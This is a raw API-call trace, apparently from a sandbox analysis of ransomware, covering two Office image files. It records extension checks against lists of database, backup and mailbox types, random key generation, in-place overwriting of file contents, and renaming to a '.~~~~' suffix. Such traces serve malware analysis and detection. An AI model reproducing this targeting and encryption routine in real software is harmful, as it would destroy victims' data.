	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".EQL") returned 0x0
	[0143.490] lstrlenW (lpString=".FDB") returned 4
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".FDB") returned 0x0
	[0143.490] lstrlenW (lpString=".EDB") returned 4
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".EDB") returned 0x0
	[0143.490] lstrlenW (lpString=".DACPAC") returned 7
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.490] lstrlenW (lpString=".VHD") returned 4
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".VHD") returned 0x0
	[0143.490] lstrlenW (lpString=".DBV") returned 4
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".DBV") returned 0x0
	[0143.490] lstrlenW (lpString=".dacpac") returned 7
	[0143.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.491] lstrlenW (lpString=".sdf") returned 4
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".sdf") returned 0x0
	[0143.491] lstrlenW (lpString=".accdb") returned 6
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".accdb") returned 0x0
	[0143.491] lstrlenW (lpString=".DBX") returned 4
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".DBX") returned 0x0
	[0143.491] lstrlenW (lpString=".MDT") returned 4
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".MDT") returned 0x0
	[0143.491] lstrlenW (lpString=".SQB") returned 4
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".SQB") returned 0x0
	[0143.491] lstrlenW (lpString=".vhd") returned 4
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".vhd") returned 0x0
	[0143.491] lstrlenW (lpString=".bac") returned 4
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".bac") returned 0x0
	[0143.491] lstrlenW (lpString=".mdf") returned 4
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".mdf") returned 0x0
	[0143.491] lstrlenW (lpString=".BAK") returned 4
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".BAK") returned 0x0
	[0143.491] lstrlenW (lpString=".BAC") returned 4
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".BAC") returned 0x0
	[0143.491] lstrlenW (lpString=".dbs") returned 4
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".dbs") returned 0x0
	[0143.491] lstrlenW (lpString=".vhdx") returned 5
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".vhdx") returned 0x0
	[0143.491] lstrlenW (lpString=".NDF") returned 4
	[0143.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".NDF") returned 0x0
	[0143.491] lstrlenW (lpString=".dat") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".dat") returned 0x0
	[0143.492] lstrlenW (lpString=".DBS") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".DBS") returned 0x0
	[0143.492] lstrlenW (lpString=".CKP") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".CKP") returned 0x0
	[0143.492] lstrlenW (lpString=".edb") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".edb") returned 0x0
	[0143.492] lstrlenW (lpString=".PST") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".PST") returned 0x0
	[0143.492] lstrlenW (lpString=".dbf") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".dbf") returned 0x0
	[0143.492] lstrlenW (lpString=".SQL") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".SQL") returned 0x0
	[0143.492] lstrlenW (lpString=".pst") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".pst") returned 0x0
	[0143.492] lstrlenW (lpString=".dbv") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".dbv") returned 0x0
	[0143.492] lstrlenW (lpString=".SDF") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".SDF") returned 0x0
	[0143.492] lstrlenW (lpString=".dtxs") returned 5
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".dtxs") returned 0x0
	[0143.492] lstrlenW (lpString=".db3") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".db3") returned 0x0
	[0143.492] lstrlenW (lpString=".OST") returned 4
	[0143.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".OST") returned 0x0
	[0143.492] lstrlenW (lpString=".dbx") returned 4
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".dbx") returned 0x0
	[0143.493] lstrlenW (lpString=".DB3") returned 4
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".DB3") returned 0x0
	[0143.493] lstrlenW (lpString=".DAT") returned 4
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".DAT") returned 0x0
	[0143.493] lstrlenW (lpString=".VHDX") returned 5
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".VHDX") returned 0x0
	[0143.493] lstrlenW (lpString=".ndf") returned 4
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".ndf") returned 0x0
	[0143.493] lstrlenW (lpString=".DB") returned 3
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".DB") returned 0x0
	[0143.493] lstrlenW (lpString=".sql") returned 4
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".sql") returned 0x0
	[0143.493] lstrlenW (lpString=".MYD") returned 4
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".MYD") returned 0x0
	[0143.493] lstrlenW (lpString=".DBT") returned 4
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".DBT") returned 0x0
	[0143.493] lstrlenW (lpString=".ACCDB") returned 6
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.493] lstrlenW (lpString=".fdb") returned 4
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".fdb") returned 0x0
	[0143.493] lstrlenW (lpString=".bak") returned 4
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".bak") returned 0x0
	[0143.493] lstrlenW (lpString=".myd") returned 4
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".myd") returned 0x0
	[0143.493] lstrlenW (lpString=".DTXS") returned 5
	[0143.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".DTXS") returned 0x0
	[0143.493] lstrlenW (lpString=".ckp") returned 4
	[0143.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".ckp") returned 0x0
	[0143.494] lstrlenW (lpString=".dbt") returned 4
	[0143.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".dbt") returned 0x0
	[0143.494] lstrlenW (lpString=".db") returned 3
	[0143.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".db") returned 0x0
	[0143.494] lstrlenW (lpString=".TXT") returned 4
	[0143.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".TXT") returned 0x0
	[0143.494] lstrlenW (lpString=".MDF") returned 4
	[0143.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".MDF") returned 0x0
	[0143.494] lstrlenW (lpString=".bdb") returned 4
	[0143.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".bdb") returned 0x0
	[0143.494] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.494] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0143.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.494] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0143.495] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.495] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0143.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0143.496] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26348590711) returned 1
	[0143.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbeee8230, dwHighDateTime=0x1d60e1e)) 
	[0143.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0143.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0143.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0143.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x291e228
	[0143.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x291e228 | out: hHeap=0x300000) returned 1
	[0143.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab168
	[0143.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab168 | out: hHeap=0x300000) returned 1
	[0143.497] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0143.497] GetLastError () returned 0x0
	[0143.497] GetLastError () returned 0x0
	[0143.497] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0143.497] GetLastError () returned 0x0
	[0143.497] GetLastError () returned 0x0
	[0143.498] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x1cd7, lpOverlapped=0x0) returned 1
	[0143.500] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe329, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.500] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1cd7, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1cd7, lpOverlapped=0x0) returned 1
	[0143.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.500] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.500] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.500] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.500] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.500] CloseHandle (hObject=0x114) returned 1
	[0143.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab168
	[0143.501] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif.~~~~")) returned 1
	[0143.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab168 | out: hHeap=0x300000) returned 1
	[0143.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0143.503] GetLastError () returned 0x0
	[0143.504] RtlWakeConditionVariable () returned 0x0
	[0143.504] GetCurrentThreadId () returned 0xaf0
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".scr") returned 0x0
	[0143.504] lstrlenW (lpString=".cmd") returned 4
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".cmd") returned 0x0
	[0143.504] lstrlenW (lpString=".dll") returned 4
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".dll") returned 0x0
	[0143.504] lstrlenW (lpString=".bat") returned 4
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".bat") returned 0x0
	[0143.504] lstrlenW (lpString=".cpl") returned 4
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".cpl") returned 0x0
	[0143.504] lstrlenW (lpString=".sys") returned 4
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".sys") returned 0x0
	[0143.504] lstrlenW (lpString=".msc") returned 4
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".msc") returned 0x0
	[0143.504] lstrlenW (lpString=".com") returned 4
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".com") returned 0x0
	[0143.504] lstrlenW (lpString=".lnk") returned 4
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".lnk") returned 0x0
	[0143.504] lstrlenW (lpString=".msp") returned 4
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".msp") returned 0x0
	[0143.504] lstrlenW (lpString=".pif") returned 4
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".pif") returned 0x0
	[0143.504] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0143.507] lstrlenW (lpString=".sqb") returned 4
	[0143.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".sqb") returned 0x0
	[0143.507] lstrlenW (lpString=".ost") returned 4
	[0143.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".ost") returned 0x0
	[0143.507] lstrlenW (lpString=".txt") returned 4
	[0143.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".txt") returned 0x0
	[0143.507] lstrlenW (lpString=".mdt") returned 4
	[0143.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".mdt") returned 0x0
	[0143.507] lstrlenW (lpString=".BDB") returned 4
	[0143.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".BDB") returned 0x0
	[0143.507] lstrlenW (lpString=".eql") returned 4
	[0143.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".eql") returned 0x0
	[0143.507] lstrlenW (lpString=".DBF") returned 4
	[0143.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".DBF") returned 0x0
	[0143.507] lstrlenW (lpString=".EQL") returned 4
	[0143.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".EQL") returned 0x0
	[0143.507] lstrlenW (lpString=".FDB") returned 4
	[0143.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".FDB") returned 0x0
	[0143.507] lstrlenW (lpString=".EDB") returned 4
	[0143.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".EDB") returned 0x0
	[0143.507] lstrlenW (lpString=".DACPAC") returned 7
	[0143.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.508] lstrlenW (lpString=".VHD") returned 4
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".VHD") returned 0x0
	[0143.508] lstrlenW (lpString=".DBV") returned 4
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".DBV") returned 0x0
	[0143.508] lstrlenW (lpString=".dacpac") returned 7
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.508] lstrlenW (lpString=".sdf") returned 4
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".sdf") returned 0x0
	[0143.508] lstrlenW (lpString=".accdb") returned 6
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".accdb") returned 0x0
	[0143.508] lstrlenW (lpString=".DBX") returned 4
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".DBX") returned 0x0
	[0143.508] lstrlenW (lpString=".MDT") returned 4
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".MDT") returned 0x0
	[0143.508] lstrlenW (lpString=".SQB") returned 4
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".SQB") returned 0x0
	[0143.508] lstrlenW (lpString=".vhd") returned 4
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".vhd") returned 0x0
	[0143.508] lstrlenW (lpString=".bac") returned 4
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".bac") returned 0x0
	[0143.508] lstrlenW (lpString=".mdf") returned 4
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".mdf") returned 0x0
	[0143.508] lstrlenW (lpString=".BAK") returned 4
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".BAK") returned 0x0
	[0143.508] lstrlenW (lpString=".BAC") returned 4
	[0143.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".BAC") returned 0x0
	[0143.508] lstrlenW (lpString=".dbs") returned 4
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".dbs") returned 0x0
	[0143.509] lstrlenW (lpString=".vhdx") returned 5
	[0143.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", lpSrch=".vhdx") returned 0x0
